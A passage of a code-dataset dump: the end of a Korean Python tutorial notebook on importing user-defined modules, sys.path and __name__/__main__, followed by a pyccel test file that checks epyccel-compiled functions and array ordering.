\ud328\ud0a4\uc9c0\ub098 \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc62c \ub54c \ubcc4\uce6d\uc744 \uc9c0\uc815\ud558\uba74 \ubc18\ub4dc\uc2dc \ubcc4\uce6d\uc73c\ub85c \uc0ac\uc6a9\ud574\uc57c \ud55c\ub2e4.\n# \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74 \uc624\ub958\uac00 \ubc1c\uc0dd\ud55c\ub2e4.\n\n# In[8]:\n\n\nnumpy.random.random()\n\n\n# \uc6d0\ub798\uc758 \ud328\ud0a4\uc9c0 \ub610\ub294 \ubaa8\ub4c8\uc758 \uc774\ub984\uc744 \uc0ac\uc6a9\ud558\ub824\uba74 \ud55c \ubc88 \ubd88\ub7ec\uc640\uc57c \ud55c\ub2e4.\n# \uadf8\ub7ec\uba74 \uc6d0\ub798 \uc774\ub984\uacfc \ubcc4\uce6d \ubaa8\ub450 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nimport numpy\n\n\n# In[ ]:\n\n\nnumpy.random.random()\n\n\n# In[ ]:\n\n\nnp.random.random()\n\n\n# ## \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub4c8\n\n# \uba3c\uc800, \uc544\ub798 \ucf54\ub4dc\ub97c \ub2f4\uace0 \uc788\ub294 `wc.py` \ud30c\uc77c\uc744 \uba3c\uc800 \uc791\uc131\ud55c\ub2e4.\n# `wc.py` \ud30c\uc77c\uc744 \uc774\uc6a9\ud558\uc5ec \uc0ac\uc6a9\uc790\uac00 \uc784\uc758\ub85c \uc791\uc131\ud55c \ud30c\uc774\uc36c \ucf54\ub4dc \ud30c\uc77c\uc744 \ubaa8\ub4c8\ub85c \ud65c\uc6a9\ud558\ub294 \ubc95\uc744 \uc124\uba85\ud55c\ub2e4.\n# \n# **\uc8fc\uc758:**\n# \uc124\uba85\uc744 \uc704\ud574 `wc.py` \ud30c\uc77c\uc774 \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac\uc758 \ud558\uc704 \ub514\ub809\ud1a0\ub9ac\uc778 `codes` \ub514\ub809\ud1a0\ub9ac\uc5d0 \uc800\uc7a5\ub418\uc5b4 \uc788\ub2e4\uace0 \uac00\uc815\ud55c\ub2e4.\n# \n# \ud30c\uc77c\uc758 \ub0b4\uc6a9\uc740 \uc544\ub798\uc640 \uac19\ub2e4.\n\n# <div align=\"center\"><img src=\"https://raw.githubusercontent.com/codingalzi/pybook/master/notebooks/images/wc1.png\" style=\"width:600px;\"></div>\n\n# ### `__init__.py` \ud30c\uc77c \uc791\uc131\n# \n# \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac\uac00 \uc544\ub2cc \ub2e4\ub978 \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc624\ub824\uba74 \n# \ud574\ub2f9 \ub514\ub809\ud1a0\ub9ac\uc5d0 `__init__.py` \ud30c\uc77c\uc774 \uc0dd\uc131\ub418\uc5b4 \uc788\uc5b4\uc57c \ud55c\ub2e4.\n# \ub530\ub77c\uc11c `codes` \ub77c\ub294 \ud558\uc704 \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ud30c\uc77c\ub4e4\uc758 \ub9ac\uc2a4\ub97c \ud655\uc778\ud558\uba74 `wc.py` \uc640 `__init__.py` \n# \ub450 \uac1c\uc758 \ud30c\uc77c\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\uc5b4\uc57c \ud55c\ub2e4.\n# \n# **\uc8fc\uc758:** `__init__.py` \ud30c\uc77c\uc740 \uc544\ubb34 \ub0b4\uc6a9\uc774 \uc5c6\ub294 \ube48 \ud30c\uc77c\uc774\uc5b4\ub3c4 \ub41c\ub2e4. \ub2e4\ub978 \uc6a9\ub3c4\ub294 \uc5ec\uae30\uc11c \ub2e4\ub8e8\uc9c0 \uc54a\ub294\ub2e4.\n\n# #### \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac \ud655\uc778\n\n# \ud30c\uc774\uc36c \uba85\ub839\uc5b4\ub97c \uc774\uc6a9\ud558\uc5ec \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac(current working directory, \uc904\uc784\ub9d0: cwd)\ub97c\n# \ud655\uc778\ud558\ub294 \ubc29\ubc95\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.\n\n# In[ ]:\n\n\nimport os\ncwd = os.getcwd()\nprint(cwd)\n\n\n# \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac\uc5d0 `codes`\ub77c\ub294 \ub514\ub809\ud1a0\ub9ac \ud3ec\ud568\uc5ec\ubd80 \ud655\uc778\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.\n\n# In[ ]:\n\n\n'codes' in os.listdir(cwd)\n\n\n# `codes` \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ud30c\uc77c\ub4e4\uc758 \ub9ac\uc2a4\ud2b8 \ud655\uc778\ud558\uba74 `wc.py`\uc640 `__init__.py` \ub450 \ud30c\uc77c\uc774\n# \ud3ec\ud568\ub418\uc5b4 \uc788\uc74c\uc744 \ubcfc \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nos.listdir(\"./codes\")\n\n\n# ### \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub4c8 \ubd88\ub7ec\uc624\uae30\n\n# `wc.py` \ubaa8\ub4c8\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\ub294 `linecount` \ud568\uc218\ub97c \ud65c\uc6a9\ud558\uae30 \uc704\ud574\uc11c\n# \uba3c\uc800 `wc.py` \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc640\uc57c \ud55c\ub2e4.\n\n# #### \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac \ubaa8\ub4c8 \ubd88\ub7ec\uc624\uae30\n\n# \ub9cc\uc57d `wc.py` \ubaa8\ub4c8\uc774 \ud604\uc7ac \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\ub2e4\uba74 \uc544\ub798\uc640 \uac19\uc774 \ubd88\ub7ec\uc624\uba74 \ub41c\ub2e4.\n# \n# ```\n# import wc\n# ```\n# \n# \ub610\ud55c `wc.py`\uc5d0 \uc791\uc131\ub41c \ucf54\ub4dc \ub9c8\uc9c0\ub9c9 \uc904\uc744 \uc544\ub798\uc640 \uac19\uc774 \uc791\uc131\ud574\uc57c \uc624\ub958\uac00 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\ub294\ub2e4.\n#     \n# ```python\n# print(linecount('wc.py'))\n# ```\n\n# #### \uacbd\ub85c \uc124\uc815 \ubb38\uc81c\n\n# \uadf8\ub7f0\ub370 `wc.py` \ubaa8\ub4c8\uc774 \ud604\uc7ac \ub514\ub809\ud1a0\ub9ac\uc758 \ud558\uc704 \ub514\ub809\ud1a0\ub9ac\uc778 `codes` \uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\uae30 \ub54c\ubb38\uc5d0 \n# \ubd88\ub7ec\uc624\uae30 \uacfc\uc815\uc774 \uc880 \ub354 \ubcf5\uc7a1\ud558\ub2e4. \n# \ub2e8\uc21c\ud788 `import wc` \uba85\ub839\uc5b4\ub97c \uc0ac\uc6a9\ud558\uba74 \ubaa8\ub4c8\uc744 \ucc3e\uc744 \uc218 \uc5c6\ub2e4\ub294 \uc624\ub958(`ModuleNotFoundError`)\uac00 \ubc1c\uc0dd\ud55c\ub2e4.\n\n# In[ ]:\n\n\nimport wc\n\n\n# \uc774\uc640 \uac19\uc774 \ud604\uc7ac \uc791\uc5c5\ub514\ub809\ud1a0\ub9ac\uac00 \uc544\ub2cc \uacf3\uc5d0 \ud3ec\ud568\ub41c \uc0ac\uc6a9\uc790 \uc815\uc758 \ubaa8\ub4c8\uc740 \ub2e4\ub978 \ubc29\uc2dd\uc73c\ub85c \ubd88\ub7ec\uc640\uc57c \ud55c\ub2e4.\n# \ub2e4\uc591\ud55c \ubc29\uc2dd\uc774 \uc788\uc9c0\ub9cc \uc5ec\uae30\uc11c\ub294 __\ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c(library path)__\uc5d0 \ud2b9\uc815 \ub514\ub809\ud1a0\ub9ac\ub97c \ucd94\uac00\ud558\ub294 \ubc29\uc2dd\uc744 \uc0ac\uc6a9\ud55c\ub2e4.\n# \n# **\uc8fc\uc758:** \uc5ec\uae30\uc11c \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c\uc5d0 \ud2b9\uc815 \uacbd\ub85c\ub97c \ucd94\uac00\ud558\ub294 \ubc29\uc2dd\uc740 \uc784\uc2dc\uc801\uc774\ub2e4.\n# \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c\ub97c \uc601\uad6c\uc801\uc73c\ub85c \ubcc0\uacbd\ud558\ub824\uba74 \ub2e4\ub978 \ubc29\uc2dd\uc744 \ub530\ub77c\uc57c \ud55c\ub2e4.\n\n# #### \ud30c\uc774\uc36c \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c \ud655\uc778\ud558\uae30\n\n# \uba3c\uc800 \ud30c\uc774\uc36c\uc774 \uae30\ubcf8\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\ub294 \ub77c\uc774\ube0c\ub7ec\ub9ac\ub4e4\uc758 \uacbd\ub85c\ub97c \ud655\uc778\ud574\ubcf4\uc790.\n# `sys.path` \ubcc0\uc218\uc5d0 \ud30c\uc774\uc36c\uc774 \uae30\ubcf8\uc801\uc73c\ub85c \uc9c0\uc6d0\ud558\ub294 \ub77c\uc774\ube0c\ub7ec\ub9ac\ub4e4\uc758 \uacbd\ub85c\uac00 \ub9ac\uc2a4\ud2b8\ub85c \uc800\uc7a5\ub418\uc5b4 \uc788\ub2e4.\n\n# In[ ]:\n\n\nimport sys\nsys.path\n\n\n# #### \ud30c\uc774\uc36c \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c\uc5d0 \uc784\uc2dc \uacbd\ub85c \ucd94\uac00\ud558\uae30\n\n# `sys.path` \uc5d0 \uc800\uc7a5\ub41c \ub77c\uc774\ube0c\ub7ec\ub9ac\ub4e4\uc758 \uacbd\ub85c\ub4e4\uc758 \ub9ac\uc2a4\ud2b8\uc5d0 \uc6d0\ud558\ub294 \uacbd\ub85c\ub97c \ucd94\uac00\ud55c\ub2e4.\n# \n# \uc5ec\uae30\uc11c\ub294 \ud604\uc7ac \uc791\uc5c5\ub514\ub809\ud1a0\ub9ac\uc758 \ud558\uc704 \ud3f4\ub354\uc778 `codes`\ub97c \uacbd\ub85c\uc5d0 \ucd94\uac00\ud558\uba70, \n# \ub9ac\uc2a4\ud2b8\uc5d0 \ud56d\ubaa9\uc744 \ucd94\uac00\ud558\ub294 `append` \uba54\uc18c\ub4dc\ub97c \ud65c\uc6a9\ud55c\ub2e4.\n\n# In[ ]:\n\n\nsys.path.append(cwd + \"/codes\")\n\n\n# \uc774\uc81c \uc0c8\ub85c\uc6b4 \uacbd\ub85c\uac00 \ucd94\uac00\ub41c \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nsys.path\n\n\n# #### \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c\uc5d0 \ud3ec\ud568\ub41c \ub514\ub809\ud1a0\ub9ac\uc758 \ubaa8\ub4c8 \ubd88\ub7ec\uc624\uae30\n\n# \ub77c\uc774\ube0c\ub7ec\ub9ac \uacbd\ub85c\uc5d0 \ud3ec\ud568\ub41c \ub514\ub809\ud1a0\ub9ac\uc758 \ubaa8\ub4c8\uc740 \ud604\uc7ac \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub41c \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc624\ub294 \uac83\ucc98\ub7fc \ud558\uba74 \ub41c\ub2e4.\n\n# In[ ]:\n\n\nimport wc\n\n\n# \uc774\uc81c `wc`\uac00 \ub204\uad70\uc9c0\ub97c \ubb3c\uc73c\uba74 \uc544\ub798\uc640 \uac19\uc774 \ub2f5\ud55c\ub2e4.\n\n# In[ ]:\n\n\nwc\n\n\n# \uc989, `wc`\ub294 \ubaa8\ub4c8\uc774\ub77c\ub294 \uc815\ubcf4\uc640 `wc.py` \ud30c\uc77c\uc774 \uc800\uc7a5\ub41c \uc704\uce58 \uc815\ubcf4\ub97c \ubcf4\uc5ec\uc900\ub2e4.\n\n# ### `__name__` \uc18d\uc131\uacfc `__main__` \ud568\uc218\n\n# #### `__name__` \uc18d\uc131\n\n# \ud30c\uc774\uc36c\uc5d0\uc11c \ud568\uc218, \ud074\ub798\uc2a4, \ubaa8\ub4c8 \ub4f1\uc740 `__name__`\uc774\ub77c\ub294 \ud2b9\ubcc4\ud55c \uc18d\uc131\uc744 \uac00\uc9c0\uba70,\n# \ud56d\uc0c1 \uc790\uae30 \uc790\uc2e0\uc744 \uac00\ub9ac\ud0a8\ub2e4.\n# \n# \uc608\ub97c \ub4e4\uc5b4, \uc544\ub798 \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uc790.\n\n# In[ ]:\n\n\ndef myName():\n    pass\n\n\n# \uc774\uc81c `myName` \ud568\uc218\uc758 `__name__` \uc18d\uc131\uc744 \ud655\uc778\ud574\ubcf4\uc790.\n# \uc18d\uc131 \ud655\uc778\uc740 \uc790\ub8cc\ud615\uc758 \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud558\ub294 \ubc29\uc2dd\uacfc \ube44\uc2b7\ud558\ub2e4.\n# \ub2e4\ub9cc, \uc18d\uc131\uc740 \ud568\uc218\uac00 \uc544\ub2c8\uae30\uc5d0 \uad04\ud638\ub97c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\ub294\ub2e4.\n\n# In[ ]:\n\n\nmyName.__name__\n\n\n# \ubaa8\ub4c8\ub3c4 `__name__` \uc18d\uc131\uc744 \uac16\ub294\ub2e4. `wc.py` \ubaa8\ub4c8\uc758 `__name__` \uc18d\uc131\uc744 \ud655\uc778\ud574\ubcf4\uc790.\n\n# In[ ]:\n\n\nwc.__name__\n\n\n# \uc55e\uc73c\ub85c \uc880 \ub354 \uad6c\uccb4\uc801\uc73c\ub85c \ubc30\uc6b0\uac8c \ub420 \ud074\ub798\uc2a4 \uc5ed\uc2dc `__name__` \uc18d\uc131\uc744 \uac16\ub294\ub2e4.\n# \uc0ac\uc2e4 \uc9c0\uae08\uae4c\uc9c0 \uc0b4\ud3b4\ubcf8 \ubaa8\ub4e0 \uc790\ub8cc\ud615 \uc5ed\uc2dc \ud074\ub798\uc2a4\uc774\ub2e4. \n# \uc608\ub97c \ub4e4\uc5b4, \uc0ac\uc804 \uc790\ub8cc\ud615\uc758 `__name__` \uc18d\uc131\uc740 \uc544\ub798\uc640 \uac19\ub2e4.\n\n# In[ ]:\n\n\ndict.__name__\n\n\n# #### `__main__` \ud568\uc218\n\n# `wc.py` \ubaa8\ub4c8\uc744 \uc784\ud3ec\ud2b8\ud560 \ub54c \uc55e\uc11c `os`\uc640 `sys` \ubaa8\ub4c8\uc744 \uc784\ud3ec\ud2b8\ud560 \ub54c\uc640\ub294 \ub2ec\ub9ac \uc22b\uc790 `7`\uc744 \ucd9c\ub825\ud55c\ub2e4.\n# \uc774\uc720\ub294 \ubaa8\ub4c8\uc744 \uc784\ud3ec\ud2b8\ud560 \ub54c \ubaa8\ub4c8 \uc548\uc5d0 \ud3ec\ud568\ub41c \ucf54\ub4dc\uac00 \uc2e4\ud589\ub418\uae30 \ub54c\ubb38\uc778\ub370, \n# `wc.py` \ud30c\uc77c\uc758 \uacbd\uc6b0\uc5d0\ub294 \ub9c8\uc9c0\ub9c9 \uc904\uc5d0 \uc788\ub294 \uc544\ub798 \uba85\ub839\uc5b4\uac00 \uc2e4\ud589\ub418\uae30 \ub54c\ubb38\uc774\ub2e4.\n# \n# ```python\n# print(linecount('./codes/wc.py'))\n# ```\n# \n# `linecount` \ud568\uc218\ub294 \uc778\uc790\ub85c \uc9c0\uc815\ub41c \ud30c\uc77c\uc5d0 \ud3ec\ud568\ub41c \ub0b4\uc6a9\uc758 \uc904 \uc218(line number)\ub97c \uacc4\uc0b0\ud574\uc11c \ub0b4\uc900\ub2e4.\n# \ub530\ub77c\uc11c \uc704 \uba85\ub839\ubb38\uc740 `wc.py` \ud30c\uc77c\uc5d0 \ud3ec\ud568\ub41c \ub0b4\uc6a9\uc774 \uba87 \uc904\uc778\uac00\ub97c \ud655\uc778\ud574\uc900\ub2e4.\n# \n# \uadf8\ub7f0\ub370 \uc0ac\uc2e4 `print(linecount('./codes/wc.py'))` \uba85\ub839\ubb38\uc740 `linecount` \ud568\uc218\uac00 \n# \uc81c\ub300\ub85c \uc791\ub3d9\ud558\ub294\uac00\ub97c \ud655\uc778\ud558\ub294 \uc6a9\ub3c4\ub85c \uc791\uc131\ub41c \ucf54\ub4dc\uc774\uba70, \n# \ubaa8\ub4c8\uc744 \ubd88\ub7ec\uc640\uc11c \ud65c\uc6a9\ud558\uae30 \uc704\ud574\uc11c\ub294 \uad73\uc774 \uc2e4\ud589\ud560 \ud544\uc694\uac00 \uc5c6\ub2e4.\n# \uc774\ub7f0 \uacbd\uc6b0\uc5d0 \ubaa8\ub4c8\uc758 `__name__` \uc18d\uc131\uc744 \uc774\uc6a9\ud558\uc5ec \uc544\ub798\uc640 \uac19\uc774 \uc791\uc131\ud558\uba74 \ubaa8\ub4c8\uc744 \uc784\ud3ec\ud2b8\ud560 \ub54c \uad73\uc774 \uc2e4\ud589\ud560 \ud544\uc694\uac00 \n# \uc5c6\ub294 \ucf54\ub4dc\ub97c \ubaa8\ub4c8\uc5d0 \ud3ec\ud568\uc2dc\ud0ac \uc218 \uc788\ub2e4.\n# \n# ```python\n# if __name__ == '__main__':\n#     print(linecount('./codes/wc.py'))\n# ```\n# \n# \uc704\uc640 \uac19\uc774 \uc791\uc131\ud558\uba74 `import wc`\ub97c \uc2e4\ud589\ud574\ub3c4 `if __name__ == '__main__':`\uc5d0 \ud3ec\ud568\ub41c \ucf54\ub4dc\ub294 \uc2e4\ud589\ub418\uc9c0 \uc54a\ub294\ub2e4.\n\n# <div align=\"center\"><img src=\"https://raw.githubusercontent.com/codingalzi/pybook/master/notebooks/images/wc5.png\" style=\"width:600px;\"></div>\n\n# \ubc18\uba74\uc5d0 \ud130\ubbf8\ub110\uc744 \uc774\uc6a9\ud574\uc11c \ud604\uc7ac \uc791\uc5c5 \ub514\ub809\ud1a0\ub9ac\uc5d0\uc11c  `python codes/wc.py` \ud615\ud0dc\ub85c `wc.py` \ucf54\ub4dc\ub97c \uc9c1\uc811 \uc2e4\ud589\ud558\uba74 \n# `if __name__ == '__main__'` \uc870\uac74\ubb38\uc758 \ubcf8\uccb4\uac00 \uc2e4\ud589\ub41c\ub2e4.\n\n# <div align=\"center\"><img src=\"https://raw.githubusercontent.com/codingalzi/pybook/master/notebooks/images/wc4.png\" style=\"width:600px;\"></div>\n\n# `__main__` \ud568\uc218\uc758 \uc774\ub7f0 \uae30\ub2a5\uc740 C, Java \ub4f1\uc5d0\uc11c \uc758\ubb34\uc801\uc73c\ub85c \uc0ac\uc6a9\ub418\ub294 `main` \ud568\uc218\uc640 \uc720\uc0ac\ud55c \uae30\ub2a5\uc744 \uc218\ud589\ud55c\ub2e4. \n# `Repl.it` \uc0ac\uc774\ud2b8\uc5d0\uc11c main \ubaa8\ub4c8\uc774 \uae30\ubcf8\uc801\uc73c\ub85c \uc2e4\ud589\ub418\ub294 \uc774\uc720\uac00 \uc774\ub7f0 \uc804\ud1b5\uc5d0\uc11c \uc720\ub798\ud55c\ub2e4.\n\n# ### \ubaa8\ub4c8 \ub2e4\uc2dc \ubd88\ub7ec\uc624\uae30\n\n# \ud55c \ubc88 \ubd88\ub7ec\uc628 \ubaa8\ub4c8\uc744 \ub2e4\uc2dc \ubd88\ub7ec\uc624\uba74 \ubaa8\ub4c8 \ub0b4\uc6a9\uc774 \ub610 \uc2e4\ud589\ub418\uc9c0\ub294 \uc54a\ub294\ub2e4.\n\n# In[ ]:\n\n\nimport wc\n\n\n# ### \ubd88\ub7ec\uc628 \ubaa8\ub4c8 \ud65c\uc6a9\ud558\uae30\n\n# \uc5b4\ub5a4 \uc885\ub958\uc758 \ubaa8\ub4c8\uc774\ub4e0 \ud55c \ubc88 \ubd88\ub7ec\uc628 \ubaa8\ub4c8\uc744 \ud65c\uc6a9\ud558\ub294 \ubc29\ubc95\uc740 \ub3d9\uc77c\ud558\ub2e4.\n# \uc6b0\ub9ac\uac00 \uc791\uc131\ud558\uace0 \ubd88\ub7ec\uc628 `wc` \ubaa8\ub4c8\uc5d0 \ud3ec\ud568\ub41c `linecount` \ud568\uc218\ub97c \ud65c\uc6a9\ud558\ub294 \ubc29\ubc95\ub3c4 \ub3d9\uc77c\ud558\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, `wc.py` \ud30c\uc77c\uc5d0 \ud3ec\ud568\ub41c \ucf54\ub4dc\uc758 \uc904\uc758 \uc218\ub97c \uc54c\uace0\uc790 \ud558\uba74 \uc544\ub798\uc640 \uac19\uc774 \uc2e4\ud589\ud55c\ub2e4.\n\n# In[ ]:\n\n\nwc.linecount('./codes/wc.py')\n\n\n# \ubc18\uba74\uc5d0 `codes` \ub514\ub809\ud1a0\ub9ac\uc5d0 \ud3ec\ud568\ub41c `__init__.py` \ud30c\uc77c\uc740 \ube44\uc5b4\uc788\uc74c\uc744 \uc544\ub798\uc640 \uac19\uc774 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nwc.linecount('./codes/__init__.py')\n\n\n# ### \ubcc4\uce6d \uc0ac\uc6a9\n\n# \ud328\ud0a4\uc9c0\ub098 \ubaa8\ub4c8 \ub610\ud55c \uc885\ub958\uc5d0 \uc0c1\uad00\uc5c6\uc774 \ubcc4\uce6d\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n# \uc608\ub97c \ub4e4\uc5b4, `wc` \ubaa8\ub4c8\uc744 `wordCount` \ub77c\uace0 \ubcc4\uce6d\uc744 \uc9c0\uc815\ud558\uba74\uc11c \ubd88\ub7ec\uc62c \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nimport wc as wordCount\n\n\n# \uc774\uc81c\ub294 `wc` \ub300\uc2e0\uc5d0 `wordCount`\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.\n\n# In[ ]:\n\n\nwordCount.linecount('./codes/wc.py')\n\n\n# In[ ]:\n\n\nwordCount.linecount('./codes/__init__.py')\n\n\n# ## \uc5f0\uc2b5\ubb38\uc81c \n\n# 1. ...\n", "meta": {"hexsha": "652ac4513925a3ffb3d298d82ce11ee2f7092052", "size": 7906, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/_build/jupyter_execute/ch13.py", "max_stars_repo_name": "codingalzi/pyfast", "max_stars_repo_head_hexsha": "bba69b83e554dde39869b91565807d69ce3d2e11", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/_build/jupyter_execute/ch13.py", "max_issues_repo_name": "codingalzi/pyfast", "max_issues_repo_head_hexsha": "bba69b83e554dde39869b91565807d69ce3d2e11", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/_build/jupyter_execute/ch13.py", "max_forks_repo_name": "codingalzi/pyfast", "max_forks_repo_head_hexsha": "bba69b83e554dde39869b91565807d69ce3d2e11", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.9274376417, "max_line_length": 144, "alphanum_fraction": 0.62825702, "include": true, "reason": "import numpy", "num_tokens": 5026, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017684487511, "lm_q2_score": 0.14223188773801163, "lm_q1q2_score": 0.050094322391131936}}
{"text": "# coding: utf-8\n\nimport pytest\nimport numpy as np\nimport os\n\nfrom pyccel.epyccel import epyccel\nfrom pyccel.decorators import types\n\n\ndef clean_test():\n    cmd = 'rm -rf __pycache__/*'\n    os.system(cmd)\n\n\n#------------------------------------------------------------------------------\ndef test_decorator_f1():\n    @types('int')\n    def f1(x):\n        y = x - 1\n        return y\n\n    f = epyccel(f1)\n\n    # ...\n    assert f(3) == f1(3)\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f2():\n    @types('int [:]')\n    def f2(x):\n        y = x[0] - 1\n        return y\n\n    f = epyccel(f2)\n\n    # ...\n    x = np.array([3, 4, 5, 6], dtype=int)\n    assert f(x) == f2(x)\n    # ...\n\n    # ...\n    x = [3, 4, 5, 6]\n    assert f(x) == f2(x)\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f3():\n    @types('int [:]')\n    def f3(x):\n        y = x - 1\n        return y\n\n    from pyccel.ast import AstFunctionResultError\n    with pytest.raises(AstFunctionResultError):\n        f = epyccel(f3)\n\n#------------------------------------------------------------------------------\ndef test_decorator_f4():\n    @types('real [:,:]')\n    def f4(x):\n        y = x - 1.0\n        return y\n\n    from pyccel.ast import AstFunctionResultError\n    with pytest.raises(AstFunctionResultError):\n        f = epyccel(f4)\n\n#------------------------------------------------------------------------------\ndef test_decorator_f5():\n    @types('int', 'real [:]')\n    def f5(m1, x):\n        x[:] = 0.\n        for i in range(0, m1):\n            x[i] = i * 1.\n\n    f = epyccel(f5)\n\n    # ...\n    m1 = 3\n\n    x = np.zeros(m1)\n    f(m1, x)\n\n    x_expected = np.zeros(m1)\n    f5(m1, x_expected)\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f6_1():\n    @types('int', 'int', 'real [:,:]')\n    def f6_1(m1, m2, x):\n        x[:,:] = 0.\n        for i in range(0, m1):\n            for j in range(0, m2):\n                x[i,j] = (2*i+j) * 1.\n\n    # default value for assert_contiguous is False\n    f = epyccel(f6_1, assert_contiguous=False)\n\n    # ...\n    m1 = 2 ; m2 = 3\n\n    x = np.zeros((m1,m2))\n    f(m1, m2, x)\n\n    x_expected = np.zeros((m1,m2))\n    f6_1(m1, m2, x_expected)\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\n# in order to call the pyccelized function here, we have either to\n#   - give the transpose view of x: x.transpose()\n#   - create x with Fortran ordering\ndef test_decorator_f6_2():\n    @types('int', 'int', 'real [:,:]')\n    def f6_2(m1, m2, x):\n        x[:,:] = 0.\n        for i in range(0, m1):\n            for j in range(0, m2):\n                x[i,j] = (2*i+j) * 1.\n\n    f = epyccel(f6_2, assert_contiguous=True)\n\n    # ...\n    m1 = 2 ; m2 = 3\n\n    x_expected = np.zeros((m1,m2))\n    f6_2(m1, m2, x_expected)\n    # ...\n\n    # ... BAD CALL\n    x = np.zeros((m1,m2))\n    with pytest.raises(ValueError):\n        #  in this case we should get the following error\n        #  ValueError: failed to initialize intent(inout) array -- input not fortran contiguous\n        f(m1, m2, x)\n    # ...\n\n    # ... GOOD CALL\n    x = np.zeros((m1,m2))\n    f(m1, m2, x.transpose())\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\n# in order to call the pyccelized function here, we have either to\n#   - give the transpose view of x: x.transpose()\n#   - create x with Fortran ordering\ndef test_decorator_f6_3():\n\n    @types('int', 'int', 'real [:,:](order=F)')\n    def f6_3(m1, m2, x):\n        x[:,:] = 0.\n        for i in range(0, m1):\n            for j in range(0, m2):\n                x[i,j] = (2*i+j) * 1.\n\n    f = epyccel(f6_3, assert_contiguous=True)\n\n    m1 = 2 ; m2 = 3\n    x_expected = np.zeros((m1,m2))\n    f6_3(m1, m2, x_expected)\n\n    # ... GOOD CALL\n    x = np.zeros((m1,m2), order='F')\n    f(m1, m2, x)\n\n    x = np.ascontiguousarray(x)\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n\n\n##==============================================================================\n## CLEAN UP GENERATED FILES AFTER RUNNING TESTS\n##==============================================================================\n#\n#def teardown_module():\n#    clean_test()\n#\n", "meta": {"hexsha": "b6076af7cb03fc4a86f1ffb5ba7243a9a6640148", "size": 4511, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_stars_repo_name": "toddrme2178/pyccel", "max_stars_repo_head_hexsha": "deec37503ab0c5d0bcca1a035f7909f7ce8ef653", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_issues_repo_name": "toddrme2178/pyccel", "max_issues_repo_head_hexsha": "deec37503ab0c5d0bcca1a035f7909f7ce8ef653", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_forks_repo_name": "toddrme2178/pyccel", 